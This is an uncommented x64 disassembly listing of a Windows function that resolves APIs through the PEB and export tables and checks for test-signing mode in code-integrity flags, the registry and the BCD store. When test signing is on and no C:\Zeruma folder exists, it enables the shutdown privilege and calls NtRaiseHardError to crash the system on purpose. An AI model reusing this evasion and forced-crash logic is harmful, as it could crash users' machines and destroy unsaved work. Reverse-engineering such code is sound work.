mov eax, dword [r15]
lea r11, [r15 + 8]
test eax, eax
je 0x14004c0a4
mov r12d, eax
lea rax, str.Hyhd
mov r8, rax
test r11, r11
je 0x14004c08f
mov r14, r11
sub r14, rax
nop dword [rax]
nop word [rax + rax]
movsx r10d, byte [r8 + r14]
movsx r9d, byte [r8]
mov edx, r10d
mov edi, r9d
lea ebx, [r10 - 0x41]
cmp ebx, 0x19
lea ecx, [r10 + 0x20]
lea esi, [r9 - 0x41]
cmova ecx, r10d
lea eax, [r9 + 0x20]
cmp esi, 0x19
cmova eax, r9d
cmp ecx, eax
jne 0x14004c055
test r10b, r10b
je 0x14004c050
test r9b, r9b
je 0x14004c055
inc r8
jmp 0x14004c010
test r9b, r9b
je 0x14004c069
cmp ebx, 0x19
ja 0x14004c05d
add edx, 0x20
cmp esi, 0x19
ja 0x14004c065
add edi, 0x20
cmp edx, edi
jne 0x14004c088
cmp dword [r11 + 4], 0
jne 0x14004c077
cmp dword [r11 + 0x18], 0
je 0x14004c088
cmp qword [r11 + 0x20], 0xa
ja 0x14004c085
cmp qword [r11 + 0x10], 0xa
jbe 0x14004c088
mov r13b, 1
lea rax, str.Hyhd
add r11, 0x28
sub r12, 1
jne 0x14004bff0
lea r12, str.NtQuerySystemInformation
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r13b, r13b
jne 0x14004c8b8
mov rax, qword gs:[0x60]
xor r15d, r15d
mov r14d, r15d
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004c108
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004c0fa
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004c104
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004c0e0
jmp 0x14004c108
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
lea r9, str.FileVersion
mov rax, r9
test r8, r8
je 0x14004c159
movzx ecx, word [r8]
cmp cx, 0x46
jne 0x14004c154
mov rdi, r8
mov ecx, 0x46
sub rdi, r9
test cx, cx
je 0x14004c14e
cmp word [rax], r15w
je 0x14004c154
movzx edx, word [rax + rdi + 2]
add rax, 2
movzx ecx, dx
cmp dx, word [rax]
je 0x14004c130
jmp 0x14004c154
cmp word [rax], r15w
je 0x14004c15f
cmp cx, word [rax]
je 0x14004c15f
add r8, 2
jmp 0x14004c113
mov rcx, r15
mov edi, r15d
add r8, 0x24
jne 0x14004c170
mov r14, r15
jmp 0x14004c1b7
movzx eax, word [r8]
cmp ax, 0x2d
jne 0x14004c181
mov edi, 1
jmp 0x14004c187
cmp ax, 0x2b
jne 0x14004c190
add r8, 2
nop dword [rax + rax]
movzx edx, word [r8]
lea eax, [rdx - 0x30]
cmp ax, 9
ja 0x14004c1ab
lea rcx, [rcx + rcx*4]
lea rcx, [rcx - 0x18]
lea rcx, [rdx + rcx*2]
jmp 0x14004c187
mov r14, rcx
neg r14
test edi, edi
cmove r14, rcx
mov dl, byte [0x7ffe026c]
cmp dl, 0xa
je 0x14004c362
cmp dl, 6
jne 0x14004c206
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004c206
sub ecx, 1
je 0x14004c206
cmp ecx, 1
je 0x14004c206
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004c1fe
sub ecx, 1
je 0x14004c1fe
cmp ecx, 1
jne 0x14004c362
mov ecx, r15d
jmp 0x14004c369
mov dword [rbp + 0xb0], 0x114
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004c258
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004c24a
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004c254
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004c230
jmp 0x14004c258
lea r15, [rdi - 0x10]
mov r8, qword [r15 + 0x30]
mov r13d, 0x5a4d
test r8, r8
je 0x14004c414
cmp word [r8], r13w
jne 0x14004c414
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x14004c414
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x14004c414
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r8
mov ebx, dword [rax + 0x1c]
add r11, r8
mov r10d, dword [rax + 0x14]
add rbx, r8
mov r9d, r15d
test r10d, r10d
je 0x14004c3c2
lea rsi, str.RtlGetVersion
mov eax, dword [rdi]
mov rcx, rsi
add rax, r8
je 0x14004c306
movzx edx, byte [rax]
cmp dl, 0x52
jne 0x14004c2fc
sub rax, rsi
nop word [rax + rax]
test dl, dl
je 0x14004c2f7
cmp byte [rcx], r15b
je 0x14004c2fc
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004c2e0
jmp 0x14004c2fc
cmp byte [rcx], r15b
je 0x14004c317
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004c317
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x14004c2c5
jmp 0x14004c3c2
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r8
je 0x14004c3c2
lea rcx, [rbp + 0xb0]
call rax
mov rax, qword gs:[0x60]
mov ecx, dword [rbp + 0xbc]
cmp ecx, dword [rax + 0x120]
jne 0x14004c8bb
mov eax, ecx
sub rax, r14
cmp rax, 0x7d0
ja 0x14004c8bb
jmp 0x14004c3c2
mov ecx, dword [0x7ffe0260]
mov rax, qword gs:[0x60]
cmp ecx, dword [rax + 0x120]
jne 0x14004c8bb
cmp dl, 0xa
je 0x14004c3a4
cmp dl, 6
jne 0x14004c39f
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004c39f
sub ecx, 1
je 0x14004c39f
cmp ecx, 1
jne 0x14004c3a4
mov eax, r15d
jmp 0x14004c3ab
mov eax, dword [0x7ffe0260]
cdqe
sub rax, r14
cmp rax, 0x7d0
ja 0x14004c8bb
mov r13d, 0x5a4d
mov qword [rbp + 0x18], r15
mov r14, r15
mov dword [rbp + 0x18], 8
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004c41d
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004c40a
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004c419
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004c3f0
jmp 0x14004c41d
xor r15d, r15d
jmp 0x14004c3c2
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14004c4f2
cmp word [r9], r13w
jne 0x14004c4f2
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004c4f2
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004c4f2
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004c4f2
mov ecx, dword [rdi]
mov rdx, r12
add rcx, r9
je 0x14004c4b6
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14004c4ac
sub rcx, r12
nop word [rax + rax]
test al, al
je 0x14004c4a7
cmp byte [rdx], 0
je 0x14004c4ac
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x14004c490
jmp 0x14004c4ac
cmp byte [rdx], 0
je 0x14004c4c4
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14004c4c4
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004c476
jmp 0x14004c4f2
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
je 0x14004c4f2
xor r9d, r9d
lea rdx, [rbp + 0x18]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call rax
mov eax, dword [rbp + 0x1c]
shr eax, 1
and al, 1
jne 0x14004c8bb
mov r12d, 1
mov dword [rbp + 0x14], 0x104
lea rax, [rsp + 0x68]
mov dword [rbp + 0x10], r12d
mov r9d, r12d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControl
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14004c61d
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x14]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x10]
lea rax, [rbp + 0x200]
xor r8d, r8d
lea rdx, str.SystemStartOptions
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14004c612
lea r11, [rbp + 0x200]
cmp byte [rbp + 0x200], al
je 0x14004c612
lea rbx, str.TESTSIGNING
mov r10, rbx
lea rax, [rbp + 0x200]
sub r10, rax
nop dword [rax]
test r11, r11
je 0x14004c612
mov rdi, r11
mov al, 0x54
nop word [rax + rax]
movsx edx, byte [rdi]
mov r9, rdi
movsx ecx, al
inc rdi
lea eax, [rcx - 0x41]
cmp eax, 0x19
lea r8d, [rcx + 0x20]
lea eax, [rdx - 0x41]
cmova r8d, ecx
cmp eax, 0x19
ja 0x14004c5c5
add edx, 0x20
cmp edx, r8d
jne 0x14004c602
movzx eax, byte [r9 + r10 + 1]
test al, al
jne 0x14004c5a0
mov eax, r15d
nop word [rax + rax]
inc eax
lea rbx, [rbx + 1]
cmp byte [rbx], 0
jne 0x14004c5e0
cdqe
cmp rdi, rax
je 0x14004c612
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14004c8bb
inc r11
dec r10
cmp byte [r11], 0
jne 0x14004c590
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x70]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.BCD00000000Objects
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14004c92b
mov edx, 0x4096
mov dword [rbp + 0x50], 0x104
xor ecx, ecx
mov dword [rbp + 0x40], r15d
lea r9d, [rax + 4]
mov r8d, 0x1000
xor sil, sil
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rsp + 0x70]
lea r8, [rbp + 0x50]
mov r15, rax
mov dword [rbp + 0x44], 0x4096
lea rax, [rbp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0xa40]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x64]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [rbp + 0x40]
test eax, eax
je 0x14004c897
xor ecx, ecx
mov r14d, ecx
test eax, eax
je 0x14004c897
nop dword [rax]
nop dword [rax + rax]
lea rax, [rbp + 0x70]
mov dword [rbp + 0x54], 0xff
mov qword [rsp + 0x38], rax
lea r9, [rbp + 0x54]
mov qword [rsp + 0x30], rcx
lea r8, [rbp + 0x940]
mov qword [rsp + 0x28], rcx
mov edx, r14d
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x14004c885
mov edx, 0x4096
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rdi, rax
xor eax, eax
mov ecx, 0x4096
mov rdx, rbx
rep stosb byte [rdi], al
test rbx, rbx
je 0x14004c810
cmp byte [rbx], al
je 0x14004c77d
inc rdx
cmp byte [rdx], al
jne 0x14004c776
lea rcx, str.BCD00000000Objects_
mov al, 0x42
sub rcx, rdx
nop dword [rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
movzx eax, byte [rcx + rdx]
test al, al
jne 0x14004c790
mov byte [rdx], al
mov rax, rbx
cmp byte [rbx], 0
je 0x14004c7b0
inc rax
cmp byte [rax], 0
jne 0x14004c7a8
movzx ecx, byte [rbp + 0x940]
test cl, cl
je 0x14004c7dd
lea rdx, [rbp + 0x940]
sub rdx, rax
nop word [rax + rax]
mov byte [rax], cl
inc rax
movzx ecx, byte [rdx + rax]
test cl, cl
jne 0x14004c7d0
mov byte [rax], 0
mov rax, rbx
cmp byte [rbx], 0
je 0x14004c7f0
inc rax
cmp byte [rax], 0
jne 0x14004c7e8
lea rdx, str.Elements16000049
mov cl, 0x5c
sub rdx, rax
nop dword [rax]
mov byte [rax], cl
lea rax, [rax + 1]
movzx ecx, byte [rdx + rax]
test cl, cl
jne 0x14004c800
mov byte [rax], cl
lea rax, [rsp + 0x78]
mov r9d, r12d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14004c874
mov rcx, qword [rsp + 0x78]
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
lea rdx, str.Element
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14004c869
cmp dword [r15], r12d
movzx esi, sil
cmove esi, r12d
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
inc r14d
mov ecx, 0
cmp r14d, dword [rbp + 0x40]
jb 0x14004c700
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test sil, sil
je 0x14004c92b
xor r15d, r15d
lea rcx, str.C:Zeruma
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14004c8d4
shr eax, 4
and al, 1
jne 0x14004c92b
xor r8d, r8d
mov byte [rbp + 0x10], 0
lea r9, [rbp + 0x10]
mov dword [rbp + 0x44], r15d
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rcx, str.Crashing...
call fcn.140045120
lea rax, [rbp + 0x44]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000055
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
lea rcx, str.Crash_failed_
call fcn.140045120
mov r12, qword [rsp + 0xc90]
mov rcx, qword [rbp + 0xb50]
xor rcx, rsp
call fcn.1400559f0
lea r11, [rsp + 0xc60]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret